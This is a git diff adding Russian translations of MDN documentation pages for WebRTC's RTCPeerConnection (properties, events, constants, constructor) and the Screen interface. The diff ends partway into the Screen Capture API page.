Для изменения значения свойства currentRemoteDescription, вызовите метод {{domxref("RTCPeerConnection.setRemoteDescription()")}}, который запускает серию событий, приводящих к установке нового значения. Подробнее о том, что точно происходит и почему изменение значения не происходит немедленно, смотрите {{SectionOnPage("/en-US/docs/Web/API/WebRTC_API/Connectivity", "Ожидающие и текущие объекты описания")}}.

+ +
+

В отличии от {{domxref("RTCPeerConnection.remoteDescription")}}, это значение действительный текущий статус соединения; remoteDescription может указывать на объект описания, на который соединение находиться в процессе перехода..

+
+ +

Синтаксис

+ +
sessionDescription = RTCPeerConnection.currentRemoteDescription;
+ +

Возвращаемое значение

+ +

Текущий объект описания, представляющий удаленную сторону соединения, если она присутстует. Если ни один объект описания не установлен, значением будет null.

+ +

Пример

+ +

Пример рассматривает свойство  currentRemoteDescription и отображает предупреждение, содержащее значения свойств  type и sdp ,объекта {{domxref("RTCSessionDescription")}}.

+ +
var pc = new RTCPeerConnection();
+…
+var sd = pc.currentRemoteDescription;
+if (sd) {
+  alert("Local session: type='" +
+        sd.type + "'; sdp description='" +
+        sd.sdp + "'");
+}
+else {
+  alert("No local session yet.");
+}
+
+ +

Спецификации

+ + + + + + + + + + + + + + + + +
СпецификацияСтатусКомментарий
{{ SpecName('WebRTC 1.0', '#dom-peerconnection-currentremotedesc', 'RTCPeerConnection.currentRemoteDescription') }}{{ Spec2('WebRTC 1.0') }}Initial specification.
+ +

Совместимость с браузерами

+ + + +

{{Compat("api.RTCPeerConnection.currentRemoteDescription")}}

+ +

Смотри так же

+ + diff --git a/files/ru/web/api/rtcpeerconnection/getdefaulticeservers/index.html b/files/ru/web/api/rtcpeerconnection/getdefaulticeservers/index.html new file mode 100644 index 0000000000..db12029803 --- /dev/null +++ b/files/ru/web/api/rtcpeerconnection/getdefaulticeservers/index.html @@ -0,0 +1,56 @@ +--- +title: RTCPeerConnection.getDefaultIceServers() +slug: Web/API/RTCPeerConnection/getDefaultIceServers +translation_of: Web/API/RTCPeerConnection/getDefaultIceServers +--- +

{{APIRef("WebRTC")}}{{SeeCompatTable}}

+ +

Метод getDefaultIceServers() интерфейса {{domxref("RTCPeerConnection")}} , возвращает массив объектов  {{domxref("RTCIceServer")}}, который указывает, какие серверы ICE браузер будет использовать по умолчанию, если они не указаны в параметре {{domxref("RTCConfiguration")}} конструктора {{domxref("RTCPeerConnection")}} 

+ +

Синтаксис

+ +
 var defaultIceServers = RTCPeerConnection.getDefaultIceServers();
+ +

Возвращаемое значение

+ +

Массив  ICE серверов, определяемые как объекты класса  {{domxref("RTCIceServer")}} , которые браузер будет использовать для соединения, если иное не определено в параметре -  объекте конфигурации конструктора  {{domxref("RTCPeerConnection")}}. Если в браузере нет значений по умолчанию, массив будет пуст. Значение свойства не может быть  null.

+ +

Пример

+ +
var pc = new RTCPeerConnection();
+var iceServers = pc.getDefaultIceServers();
+
+if (iceServers.length === 0) {
+  // Решить проблему отсутствия серверов ICE по умолчанию, возможно, используя наши собственные настройки по умолчанию.
+ +

Спецификации

+ + + + + + + + + + + + + + + + +
СпецификацияСтатусКомментарий
WebRTC Extensions
+ +

Совместимость с браузерами

+ + + +

{{Compat("api.RTCPeerConnection.getDefaultIceServers")}}

+ +

Смотри так же

+ + diff --git a/files/ru/web/api/rtcpeerconnection/icecandidate_event/index.html b/files/ru/web/api/rtcpeerconnection/icecandidate_event/index.html new file mode 100644 index 0000000000..f74735a97e --- /dev/null +++ b/files/ru/web/api/rtcpeerconnection/icecandidate_event/index.html @@ -0,0 +1,141 @@ +--- +title: 'RTCPeerConnection: icecandidate event' +slug: Web/API/RTCPeerConnection/icecandidate_event +translation_of: Web/API/RTCPeerConnection/icecandidate_event +--- +
{{WebRTCSidebar}}
+ +

Событие icecandidate отправляется {{domxref("RTCPeerConnection")}} когда {{domxref("RTCIceCandidate")}} был идентифицирован и добавлен к локальному клиенту (local peer) через вызов {{domxref("RTCPeerConnection.setLocalDescription()")}}. Обработчик события должен передать кандидата удаленному клиенту (remote peer) по каналу сигнализации (signaling channel), чтобы удаленный клиент (remote peer) смог добавить его в свой набор удаленных кандидатов (remote candidates).

+ + + + + + + + + + + + + + + + + + + + +
ВсплываетНет
ОтменяемоеНет
Интерфейс{{DOMxRef("RTCPeerConnectionIceEvent")}}
Название обработчика событий{{DOMxRef("RTCPeerConnection.onicecandidate")}}
+ +

Описание

+ +

Существует три причины, по которым событие icecandidate происходит (fired) у {{domxref("RTCPeerConnection")}}.

+ +

Делимся (Sharing) новым кандидатом

+ +

В основном события icecandidate происходят, чтобы указать, что новый кандидат был построен (gathered). Этого кондидата нужно доставить удаленному клиенту (remote peer) через канал сигнализации (signaling channel), которым управляет ваш код.

+ +
rtcPeerConnection.onicecandidate = (event) => {
+  if (event.candidate) {
+    sendCandidateToRemotePeer(event.candidate)
+  } else {
+    /* there are no more candidates coming during this negotiation */
+  }
+}
+
+ +

Удаленный клиент (peer), получив кандидата, добавит этого кандидата в свой пул кандидатов, используя вызов {{domxref("RTCPeerConnection.addIceCandidate", "addIceCandidate()")}}, передавая в {{domxref("RTCPeerConnectionIceEvent.candidate", "candidate")}} строку, которую вы передали с помощью сервера сигнализации (signaling server).

+ +

Indicating the end of a generation of candidates

+ +

When an ICE negotiation session runs out of candidates to propose for a given {{domxref("RTCIceTransport")}}, it has completed gathering for a generation of candidates. That this has occurred is indicated by an icecandidate event whose {{domxref("RTCPeerConnectionIceEvent.candidate", "candidate")}} string is empty ("").

+ +

You should deliver this to the remote peer just like any standard candidate, as described under {{anch("Sharing a new candidate")}} above. This ensures that the remote peer is given the end-of-candidates notification as well. As you see in the code in the previous section, every candidate is sent to the other peer, including any that might have an empty candidate string. Only candidates for which the event's {{domxref("RTCPeerConnectionIceEvent.candidate", "candidate")}} property is null are not forwarded across the signaling connection.

+ +

The end-of-candidates indication is described in section 9.3 of the Trickle ICE draft specification (note that the section number is subject to change as the specification goes through repeated drafts).

+ +

Indicating that ICE gathering is complete

+ +

Once all ICE transports have finished gathering candidates and the value of the {{domxref("RTCPeerConnection")}} object's {{domxref("RTCPeerConnection.iceGatheringState", "iceGatheringState")}} has made the transition to complete, an icecandidate event is sent with the value of complete set to null.

+ +

This signal exists for backward compatibility purposes and does not need to be delivered onward to the remote peer (which is why the code snippet above checks to see if event.candidate is null prior to sending the candidate along.

+ +

If you need to perform any special actions when there are no further candidates expected, you're much better off watching the ICE gathering state by watching for {{domxref("RTCPeerConnection.icegatheringstatechange_event", "icegatheringstatechange")}} events:

+ +
pc.addEventListener("icegatheringstatechange", ev => {
+  switch(pc.iceGatheringState) {
+    case "new":
+      /* gathering is either just starting or has been reset */
+      break;
+    case "gathering":
+      /* gathering has begun or is ongoing */
+      break;
+    case "complete":
+      /* gathering has ended */
+      break;
+  }
+});
+
+ +

As you can see in this example, the icegatheringstatechange event lets you know when the value of the {{domxref("RTCPeerConnection")}} property {{domxref("RTCPeerConnection.iceGatheringState", "iceGatheringState")}} has been updated. If that value is now complete, you know that ICE gathering has just ended.

+ +

This is a more reliable approach than looking at the individual ICE messages for one indicating that the ICE session is finished.

+ +

Examples

+ +

This example creates a simple handler for the icecandidate event that uses a function called sendMessage() to create and send a reply to the remote peer through the signaling server.

+ +

First, an example using {{domxref("EventTarget.addEventListener", "addEventListener()")}}:

+ +
pc.addEventListener("icecandidate", ev => {
+  if (ev.candidate) {
+    sendMessage({
+      type: "new-ice-candidate",
+      candidate: event.candidate
+    });
+  }
+}, false);
+
+ +

You can also set the {{domxref("RTCPeerConnection.onicecandidate", "onicecandidate")}} event handler property directly:

+ +
pc.onicecandidate = ev => {
+  if (ev.candidate) {
+    sendMessage({
+      type: "new-ice-candidate",
+      candidate: event.candidate
+    });
+  }
+};
+
+ +

Specifications

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{ SpecName('WebRTC 1.0', '#event-icecandidate', 'icecandidate') }}{{Spec2('WebRTC 1.0')}}
+ +

Browser compatibility

+ + + +

{{Compat("api.RTCPeerConnection.icecandidate_event")}}

+ +

See also

+ + diff --git a/files/ru/web/api/rtcpeerconnection/index.html b/files/ru/web/api/rtcpeerconnection/index.html new file mode 100644 index 0000000000..3eae7b0faa --- /dev/null +++ b/files/ru/web/api/rtcpeerconnection/index.html @@ -0,0 +1,358 @@ +--- +title: Интерфейс RTCPeerConnection +slug: Web/API/RTCPeerConnection +translation_of: Web/API/RTCPeerConnection +--- +

{{APIRef('WebRTC')}}

+ +

Интерфейс RTCPeerConnection представляет соединение WebRTC между локальным пиром (участником соединения) на локальном компьютере и удаленным пиром на удаленном компьютере. Он предоставляет методы для соединения с удаленным участником соединения, обслуживания, мониторинга и закрытия соединения.

+ +

{{InheritanceDiagram}}

+ +
{{InterfaceOverview("WebRTC")}}
+ +

Устаревший метод

+ +

Метод ниже, является устаревшим и не будет в дальнейшем реализован в современных браузерах.

+ +
+
{{domxref("RTCPeerConnection.createDTMFSender()")}} {{obsolete_inline}}
+
Создает новый объект типа {{domxref("RTCDTMFSender")}}, связанный с определенным объектом {{domxref("MediaStreamTrack")}}, который сможет отправить объект сигнализации {{Glossary("DTMF")}} поверх соединения..
+
+ +

События 

+ +

Для прослушивания событий используется функция добавления обработчика события {{domxref("EventTarget.addEventListener", "addEventListener()")}} или используется стандартное свойство интерфейса по схеме  onимясобытия (префикс on к которому добавляется имя события прописными буквами) для установки обработчика события.

+ +
+
{{domxref("RTCPeerConnection.connectionstatechange_event", "connectionstatechange")}}
+
Событие объекта RTCPeerConnection возникает, когда общий статус объекта сосединения RTCPeerConnection изменился.
+ Так же, доступно через свойство установки обработчика события  {{domxref("RTCPeerConnection.onconnectionstatechange", "onconnectionstatechange")}}.
+
{{domxref("RTCPeerConnection.datachannel_event", "datachannel")}}
+
Событие объекта RTCPeerConnection возникает, когда удаленный пир (участник соединения) добавляет объект данных {{domxref("RTCDataChannel")}}  в текущее соединение.
+ Так же, доступно через свойство установки обработчика события {{domxref("RTCPeerConnection.ondatachannel", "ondatachannel")}}.
+
{{domxref("RTCPeerConnection.icecandidate_event", "icecandidate")}}
+
Событие объекта RTCPeerConnection возникает, когда  специальный объект ICE кандидата (RTCIceCandidate) сгенерирован RTCPeerConnection и готов для передачи удаленному пиру по каналу сигнализации.Сам сгененрированный объект кандидата передается в параметр вызванного обработчика. 
+ Так же, доступно через свойство установки обработчика события {{domxref("RTCPeerConnection.onicecandidate", "onicecandidate")}}.
+
{{domxref("RTCPeerConnection.icecandidateerror_event", "icecandidateerror")}}
+
Событие типа ошибки  {{domxref("RTCPeerConnectionIceErrorEvent")}} , возникает на объекте соединения при генерации ICE кандидата (RTCIceCandidate), если при этом возникла ошибка. Свойства объекта ошибки, возвращаемого в обработчик,  описывают подробности ошибки.
+ Так же, доступно через свойство установки обработчика события {{domxref("RTCPeerConnection.onicecandidateerror", "onicecandidateerror")}}.
+
{{domxref("RTCPeerConnection.iceconnectionstatechange_event", "iceconnectionstatechange")}}
+
Событие объекта RTCPeerConnection возникает при изменении статуса ICE соединения. К примеру, ICE соединение разорвано.
+ Так же, доступно через свойство установки обработчика события{{domxref("RTCPeerConnection.oniceconnectionstatechange", "oniceconnectionstatechange")}} .
+
{{domxref("RTCPeerConnection.icegatheringstatechange_event", "icegatheringstatechange")}}
+
Событие объекта RTCPeerConnection, возникает, когда статус сборки, представленный классом {{domxref("RTCPeerConnection.iceGatheringState", "iceGatheringState")}}, изменяется. Это указывает на то, что :  согласование соединения ICE еще не началось (статус равен значению "new"); согласование соединения ICE началось (статус равен значеню "gathering"); согласование ICE  соединения завершено (статус равен значению "complete").
+ Так же, доступно через свойство установки обработчика {{domxref("RTCPeerConnection.onicegatheringstatechange", "onicegatheringstatechange")}} .
+
{{domxref("RTCPeerConnection.isolationchange_event", "isolationchange")}}
+
Событие объекта RTCPeerConnection возникает, когда свойство {{domxref("MediaStreamTrack.isolated", "isolated")}} на одном из объектов  {{domxref("MediaStreamTrack")}} , связанного с соединением изменяет свое значение. Объект трека является изолированным {{domxref("MediaStreamTrack.isolated", "isolated")}}, если его содержимое не может быть доступно содержащему его документу, по причине невозможности аутентификации, или объект трека прибыл не из источника происхождения страницы.
+ Так же, доступно через свойство установки обработчика {{domxref("RTCPeerConnection.onisolationchange", "onisolationchange")}}.
+
{{domxref("RTCPeerConnection.negotiationneeded_event", "negotiationneeded")}}
+
Событие объекта RTCPeerConnection возникает, когда необходимо запустить согласование (пересогласование) ICE соединения; может произойти при первом открытии соединения , или при необходимости принятия изменений условий сети. Получатель должен ответить, создав предложение и отправив его другому партнеру. 
+ Так же, доступно через свойство установки обработчика {{domxref("RTCPeerConnection.onnegotiationneeded", "onnegotiationneeded")}}.
+
{{domxref("RTCPeerConnection.signalingstatechange_event", "signalingstatechange")}}
+
Событие signalingstatechange возникает, когда статус сигнализации ICE соединения изменился..
+ Так же, доступно через свойство установки обработчика {{domxref("RTCPeerConnection.onsignalingstatechange", "onsignalingstatechange")}}.
+
{{domxref("RTCPeerConnection.track_event", "track")}}
+
Событие track возникает после того, как новый объект трека был добавлен в один из объектов интерфейса {{domxref("RTCRtpReceiver")}} , которые входят в состав соединения.
+ Так же, доступно через свойство установки обработчика {{domxref("RTCPeerConnection.ontrack", "ontrack")}} .
+
+ +

Устаревшие события

+ +
+
{{domxref("RTCPeerConnection.addstream_event", "addstream")}} {{obsolete_inline}}
+
Возникает, когда новый объект {{domxref("MediaStream")}} был добавлен в соединение. Вместо наблюдения за этим устаревшим событием, разработчику следует наблюдать за каждым событием {{domxref("RTCPeerConnection.track_event", "track")}}, возникающим при добавлении в соединение объекта  {{domxref("MediaStreamTrack")}}..
+ Установка обработчика возможна через свойство {{domxref("RTCPeerConnection.onaddstream", "onaddstream")}} .
+
{{domxref("RTCPeerConnection.identityresult_event", "identityresult")}} {{obsolete_inline}}
+
В старой версии спецификации WebRTC это событие использовалось для указания доступности подтверждения идентичности. Теперь, следует ждать возвращение промиса от {{domxref("RTCPeerConnection.peerIdentity", "peerIdentity")}} для подтверждения личности. 
+ Установка обработчика возможна через свойство {{domxref("RTCPeerConnection.onidentityresult", "onidentityresult")}}.
+
{{domxref("RTCPeerConnection.idpassertionerror_event", "idpassertionerror")}} {{obsolete_inline}}
+
В старой версии спецификации WebRTC это событие использовалось для определения возникшей ошибки при попытке генерации подтверждения идентичности. Теперь, нужно ожидать результата работы промиса, возвращаемого методом доступа {{domxref("RTCPeerConnection.peerIdentity", "peerIdentity")}} , передающий в метод перехвата ошибок промиса, возникшую ошибку.
+ Установка обработчика возможна через свойство {{domxref("RTCPeerConnection.onidpassertionerror", "onidpinsertionerror")}}..
+
{{domxref("RTCPeerConnection.idpvalidationerror_event", "idpvalidationerror")}} {{obsolete_inline}}
+
В старой версии спецификации WebRTC это событие использовалось для определения того, что ошибка возникла при попытке подтверждения идентичности. Теперь, следует ожидать результат работы промиса, возвращаемого методом доступа {{domxref("RTCPeerConnection.peerIdentity", "peerIdentity")}}, для перехвата ошибки в соответствующем методе.
+ Установка обработчика возможна через свойство {{domxref("RTCPeerConnection.onpeeridentity", "onpeerdentity")}} .
+
{{domxref("RTCPeerConnection.peeridentity_event", "peeridentity")}} {{obsolete_inline}}
+
В старой версии спецификации WebRTC это событие использовалось для доставки полученной идентичности. Теперь, нужно ожидать результата работы промиса, возвращаемого методом доступа {{domxref("RTCPeerConnection.peerIdentity", "peerIdentity")}}, для получения идентичности.
+
{{domxref("RTCPeerConnection.removestream_event", "removestream")}} {{obsolete_inline}}
+
Возникает на объекте RTCPeerConnection, когда объект {{domxref("MediaStream")}} удаляется из соединения. Теперь, необходимо наблюдать за событиями {{domxref("MediaStream.removetrack_event", "removetrack")}} на каждом потоке, входящем в состав объекта соединения RTCPeerConnection.
+ Установка обработчика возможна через свойство {{domxref("RTCPeerConnection.onremovestream", "onaddstream")}} .
+
+ +

Константы

+ +

Перечисление RTCBundlePolicy 

+ +

Перечисление RTCBundlePolicy (политика сборки пакетов) определяет строковые константы, которые используются для запроса определенной политики при сборке  ICE кандидатов, в случае, если удаленный участник соединения (удаленная точка) не совместим со стандартом SDP BUNDLE standard  для объединения нескольких медиапотоков в один транспортный пакет.

+ +
+

 Примечание : В технических терминах BUNDLE (пакет) позволяет всем медиапотокам между двумя пирами проходить через один 5 - ти элементный кортеж (тип транспортного протокола передачи сообщений при установки  TCP, UDP, и ICMP соединений, состоящий из пяти элементов анализа данных). То есть, с одного IP-адреса и порта на одном узле на один IP-адрес и порт на другом узле с использованием одного и того же транспортного протокола.

+
+ + + + + + + + + + + + + + + + + + + + + + +
КонстантаОписание
"balanced" +

Сбалансированный. Агент ICE изначально создает по одному объекту  {{domxref ("RTCDtlsTransport")}} для каждого типа добавляемого контента: аудио, видео и каналов данных. Если  удаленная конечная точка не опознает пакеты, то каждый из этих DTLS транспортов обрабатывает все коммуникации для одного типа данных.

+
"max-compat"Максимально совместимый. Агент ICE изначально создает один объект {{domxref ("RTCDtlsTransport")}} для каждой медиа-дорожки и отдельный для каналов данных. Если удаленная точка не поддерживает опознавание пакета, все согласовывается на этих отдельных DTLS транспортах
"max-bundle"Максимальный пакет. Агент ICE изначально создает только один объект {{domxref ("RTCDtlsTransport")}} для переноса всех данных RTCPeerConnection. Если удаленная  точка не поддерживает опознавание пакета, то согласовывается только одна дорожка, а остальные игнорируются.
+ +

Перечисление RTCIceConnectionState

+ +

Перечисление RTCIceConnectionState определяет строковые константы, использующиеся для описания текущего состояния  ICE агента и его соединения с ICE сервером  {{Glossary("STUN")}} или {{Glossary("TURN")}} .

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
КонстантаОписание
"new"ICE агент собирает адреса или ожидает получения удаленных кандидатов от вызова метода {{domxref("RTCPeerConnection.addIceCandidate()")}}. Или все сразу.
"checking"ICE агент получил один или несколько удаленных кандидатов и проверяет парность локального и удаленного кандидатов относительно друг друга, пытаясь обнаружить совместимости. Но еще не обнаружил пару, соответствующую устанавливаемому удаленному соединению.Не исключено, что сборка кандидатов продолжиться.
"connected"Совместимая парность локального и удаленного кандидатов найдена для всех компонентов соединения, и соединение было установлено. Не исключено продолжение сборки и проверки кандидатов в процессе соединения, для наилучший совместимости.
"completed"Агент ICE завершил сбор кандидатов, проверил все пары относительно друг друга, и установил все соединения для всех компонентов.
"failed"Агент ICE проверил все пары кандидатов между собой и не нашел совместимых сопоставлений для всех компонентов соединения. Или не нашел совместимых соединений для некоторых компонентов. 
"disconnected"Проверяет, что компоненты все еще подключены, хотябы для одного объекта {{domxref("RTCPeerConnection")}}.  Это менее строгий тест, чем "failed", и он может периодически запускаться и разрешаться спонтанно в менее надежных сетях, или во время временного отключения. Когда проблема исчезнет, ​​соединение может вернуться в состояние "connected". 
"closed"ICE агент закрыл соединение для объекта {{domxref("RTCPeerConnection")}} и больше не обрабатывает запросы.
+ +

Перечисление RTCIceGatheringState

+ +

Перечисление RTCIceGatheringState определяет строковые константы, которые описывают текущий статус ICE сборки, возвращаемый свойством  {{domxref("RTCPeerConnection.iceGatheringState")}}. Для определения изменнения этого свойства можно подписаться на событие  {{event("icegatheringstatechange")}}.

+ + + + + + + + + + + + + + + + + + + + + + +
КонстантыОписание
"new"Соединение только что создано, и еще не имело сетевой активности.
"gathering"Агент ICE находиться в процессе сборки кандидатов соединения.
"complete"Агент ICE завершил сборку кандидатов. Если произойдет, что-то (например, добавление нового ICE сервера), для чего потребуется новая сборка кандидатов, статус переключиться в значение  "gathering" и начнется пересборка кандидатов.
+ +

Перечисление RTCIceTransportPolicy

+ +

Перечисление RTCIceTransportPolicy определяет строковые константы, использующиеся для ограничения политик передачи ICE кандидатов, учитывающихся во время процесса соединения..

+ + + + + + + + + + + + + + + + + + + + + + +
КонстантаОписание
"all"Все  ICE кандидаты будут рассмотрены.
"public" {{obsolete_inline}}Будут рассматриваться  ICE кандидаты, только имеющие публичные IP адреса. Удален в спецификации от 13 мая 2016 (working draft).
"relay"Будут рассматриваться ICE кандидаты, только с переданными IP адресами через TURN сервер.
+ +

Перечисление RTCPeerConnectionState

+ +

Перечисление  RTCPeerConnectionState определяет строковые константы, описывающие статус RTCPeerConnection. Эти значения возвращаются свойством  (методом доступа) {{domxref("RTCPeerConnection.connectionState", "connectionState")}} . Этот статус представляет собирательный статус всех ICE передач (которые имеют тип {{domxref("RTCIceTransport")}} или {{domxref("RTCDtlsTransport")}}) , использующиеся соединением.

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
КонстантаОписание
"new"Новый. По меньшей мере один из объектов ICE передачи ({{domxref("RTCIceTransport")}} или  {{domxref("RTCDtlsTransport")}} ) в соединении находиться в статусе "new" и ни один из них не находиться в одном из перечисленных статусов : "connecting", "checking", "failed", или "disconnected", или все объекты передач соединения находятся в статусе  "closed".
"connecting"В процессе соединения. Один или несколько объектов ICE передачи находятся в процессе установки соединения. Т.е. их свойство RTCIceConnectionState либо имеет значение "checking" , либо  "connected",  и ни один из объектов передачи не находиться в статусе "failed" . <<< Make this a link once I know where that will be documented
"connected"Соединен. Каждый объект ICE передачи, использующийся соединением либо используется  (имеет статус "connected" или "completed") , либо закрыт  (имеет статус "closed"); кроме того, по крайней мере один объект передачи имеет статус либо  "connected" , либо "completed".
"disconnected"Разъединен. По меньшей мере один из объектов ICE передачи в соединении имеет статус "disconnected"  и ни один из объекто передачи не находиться в статусе : "failed", "connecting", или  "checking".
"failed"Неудачно. Один или несколько объектов передачи могут находиться в статусе "failed".
"closed" +

Закрыто. Соединение RTCPeerConnection закрыто.

+ +

Ранее входило в значения перечисления RTCSignalingState (и поэтому может быть найдено в свойстве {{domxref("RTCPeerConnection.signalingState", "signalingState")}}) до 13 мая, 2016.

+
+ +

Перечисление RTCRtcpMuxPolicy

+ +

Перечисление RTCRtcpMuxPolicy содержит строковые константы, определяющие , что собираемые кандидаты должны иметь поддержку немультиплексированного RTCP . <<<add a link to info about multiplexed RTCP.

+ + + + + + + + + + + + + + + + + + +
КонстантаОписание
"negotiate"Instructs the ICE agent to gather both {{Glossary("RTP")}} and {{Glossary("RTCP")}} candidates. If the remote peer can multiplex RTCP, then RTCP candidates are multiplexed atop the corresponding RTP candidates. Otherwise, both the RTP and RTCP candidates are returned, separately.
"require"Tells the ICE agent to gather ICE candidates for only RTP, and to multiplex RTCP atop them. If the remote peer doesn't support RTCP multiplexing, then session negotiation fails.
+ +

Перечисление RTCSignalingState

+ +

Перечисление RTCSignalingState определяет возможные значения состояния сигнализирования  {{domxref("RTCPeerConnection.signalingState")}}, указывая в каком месте процесса сигнализации в настоящее время находиться обмен предложением или ответом.

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
КонстантаОписание
"stable" +

Стабильно. Текущего процесса обмена предложения/ответ не происходит. Это может означать, что объект соединения {{domxref("RTCPeerConnection")}} новый, и в этом случае объекты описания  {{domxref("RTCPeerConnection.localDescription", "localDescription")}} и {{domxref("RTCPeerConnection.remoteDescription", "remoteDescription")}} имеют значения null; Так же, может означать, что согласование завершено и соединение успешно установлено.

+
"have-local-offer"Имеет локальное предложение. Локальный пир вызвал метод {{domxref("RTCPeerConnection.setLocalDescription()")}}, передав в него объект описания SDP , представляющий предложение  (обычно, созданного вызовом метода {{domxref("RTCPeerConnection.createOffer()")}}), и это предложение было успешно применено.
"have-remote-offer"Имеет удаленное предложение. Удаленный пир создал предложение, использовал сервер сигнализации для передачи этого предложения локальному пользователю, которое было установлено им в параметр, через вызов метода {{domxref("RTCPeerConnection.setRemoteDescription()")}}.
"have-local-pranswer"Имеет локальный предварительный ответ. Предложение удаленного пира было применено, и ответ был создан (обычно, через вызов метода {{domxref("RTCPeerConnection.createAnswer()")}}) и использовано в параметре метода установки локального дескриптора {{domxref("RTCPeerConnection.setLocalDescription()")}}. Этот предварительный ответ описывает поддерживаемые медиа форматы и тому подобное. Но он не имееет включенных в него  полного набора ICE кандидатов. Позже, дополнительные кандидаты будут доставлены отдельно.
"have-remote-pranswer"Имеет предварительный удаленный ответ. Предварительный удаленный ответ был получен и успешно применен в ответ на предложение, отправленное ранее и установленное методом setLocalDescription().
"closed" {{obsolete_inline}} +

Закрыто. Соединение закрыто.

+ +
+

Примечание : Это значение перенесено в перечисление RTCPeerConnectionState  в драфте от 13 мая 2016, поскольку оно отражает статус соединения   RTCPeerConnection,  а не статус сигнализации. Теперь, для проверки закрытия соединения нужно проверять статус {{domxref("RTCPeerConnection.connectionState", "connectionState")}} на значение "closed" .

+
+
+ +

Спецификации 

+ + + + + + + + + + + + + + + + +
СпецификацияСтатусКомментарий
{{SpecName('WebRTC 1.0', '#interface-definition', 'RTCPeerConnection')}}{{Spec2('WebRTC 1.0')}}Initial definition.
+ +

Совместимость с браузерами

+ + + +

{{Compat("api.RTCPeerConnection")}}

+ +

Смотри так же

+ + diff --git a/files/ru/web/api/rtcpeerconnection/rtcpeerconnection/index.html b/files/ru/web/api/rtcpeerconnection/rtcpeerconnection/index.html new file mode 100644 index 0000000000..9bf73d45a5 --- /dev/null +++ b/files/ru/web/api/rtcpeerconnection/rtcpeerconnection/index.html @@ -0,0 +1,59 @@ +--- +title: RTCPeerConnection() +slug: Web/API/RTCPeerConnection/RTCPeerConnection +translation_of: Web/API/RTCPeerConnection/RTCPeerConnection +--- +
{{APIRef("WebRTC")}}
+ +

Конструктор RTCPeerConnection() возвращает  новый экземпляр объекта {{domxref("RTCPeerConnection")}}, который представляет соединение между локальным устройством и удаленным пиром (участником соединения)

+ +

Синтаксис

+ +
pc = new RTCPeerConnection([configuration]);
+ +

Параметры

+ +
+
configuration {{optional_inline}}
+
Объект класса RTCConfiguration , предоставляющий свойства для конфигурации нового экземпляра соединения.
+
+ +

Объект конфигурации RTCConfiguration

+ +

{{page("/en-US/docs/Web/API/RTCConfiguration", "Properties")}}

+ +

Возвращаемое значение

+ +

Экземпляр класса {{domxref("RTCPeerConnection")}} , сконфигурированный по свойствам параметра configuration, если используется, иначе сконфигурированный по умолчанию.

+ +

Спецификации

+ + + + + + + + + + + + + + +
СпецификацииСтатусКомментарий
{{SpecName('WebRTC 1.0', '#dom-peerconnection', 'RTCPeerConnection()')}}{{Spec2('WebRTC 1.0')}}Initial definition.
+ +

Совместимость с браузерами

+ + + +

{{Compat("api.RTCPeerConnection.RTCPeerConnection")}}

+ +

Смотри так же

+ + diff --git a/files/ru/web/api/screen/index.html b/files/ru/web/api/screen/index.html new file mode 100644 index 0000000000..37e962fcf7 --- /dev/null +++ b/files/ru/web/api/screen/index.html @@ -0,0 +1,91 @@ +--- +title: Screen +slug: Web/API/Screen +translation_of: Web/API/Screen +--- +
{{APIRef("CSSOM View")}}
+ +

Интерфейс screen представляет экран, как правило, тот, на котором текущее окно визуализируется.

+ +

Обычно, это тот, на котором текущее окно визуализируется, может быть получен с использованием window.screen.

+ +

Свойства

+ +
+
{{domxref("Screen.availTop")}}
+
Возвращает координату по оси y первого пикселя по оси y, но не относящегося к пользовательским элементам интерфейса.
+
{{domxref("Screen.availLeft")}}
+
Возвращает первый доступный пиксель от левой стороны экрана.
+
{{domxref("Screen.availHeight")}}
+
+

Возвращает высоту экрана в пикселях минус высота пользовательских элементов интерфейса, таких как панель задач в Windows.

+
+
{{domxref("Screen.availWidth")}}
+
Возвращает ширину экрана в пикселях.
+
{{domxref("Screen.colorDepth")}}
+
Возвращает глубину цвета экрана.
+
{{domxref("Screen.height")}}
+
Возвращает высоту экрана в пикселях.
+
{{domxref("Screen.left")}}
+
Возвращает расстояние в пикселях от левой стороны основного экрана до левой стороны текущего экрана.
+
{{domxref("Screen.orientation")}}
+
Возвращает текущую ориентацию экрана.
+
{{domxref("Screen.pixelDepth")}}
+
Возвращает количество битов на пиксель экрана.
+
{{domxref("Screen.top")}}
+
Возвращает расстояние в пикселях от верхней стороны экрана до текущего экрана.
+
{{domxref("Screen.width")}}
+
Возвращает ширину экрана в пикселях.
+
{{domxref("Screen.mozEnabled")}} {{gecko_minversion_inline("12.0")}}
+
Булево. Установка на false выключит экран устройства.
+
{{domxref("Screen.mozBrightness")}} {{gecko_minversion_inline("12.0")}}
+
Управляет яркостью экрана устройства. Ожидается значение между 0 и 1.0.
+
+ +

Обработчик событий

+ +
+
{{domxref("Screen.onorientationchange")}}
+
Обработчик для событий {{event("смены ориентации")}}.
+
+ +

Методы

+ +
+
{{domxref("Screen.lockOrientation")}}
+
Блокировка ориентации экрана (работает только в полноэкранном режиме или для установленных приложений)
+
{{domxref("Screen.unlockOrientation")}}
+
Разблокировка ориентации экрана (работает только в полноэкранном режиме или для установленных приложений)
+
+ +

Методы наследованные из {{domxref("EventTarget")}}

+ +

{{page("/en-US/docs/Web/API/EventTarget","Методы")}}

+ +

Пример

+ +
if (screen.pixelDepth < 8) {
+  // использовать низкоцветовую версию страницы
+} else {
+  // использовать обычную, полноцветную страницу
+}
+
+ +

Спецификация

+ + + + + + + + + + + + + + + + +
СпецификацияСтатусКомментарий
{{ SpecName('CSSOM View', '#the-screen-interface', 'Screen') }}{{ Spec2('CSSOM View') }} 
diff --git a/files/ru/web/api/screen_capture_api/index.html b/files/ru/web/api/screen_capture_api/index.html new file mode 100644 index 0000000000..13c45cf8fa --- /dev/null +++ b/files/ru/web/api/screen_capture_api/index.html @@ -0,0 +1,140 @@ +--- +title: Screen Capture API +slug: Web/API/Screen_Capture_API +tags: + - API + - Capture + - Conference + - Media + - MediaDevices + - MediaStream + - NeedsTranslation + - Overview + - Screen Capture + - Screen Capture API + - Screen Sharing + - Sharing + - TopicStub + - Video + - Window + - display + - getDisplayMedia + - screen +translation_of: Web/API/Screen_Capture_API +--- +
{{DefaultAPISidebar("Screen Capture API")}}
+ +

The Screen Capture API introduces additions to the existing Media Capture and Streams API to let the user select a screen or portion of a screen (such as a window) to capture as a media stream. This stream can then be recorded or shared with others over the network.

+ +

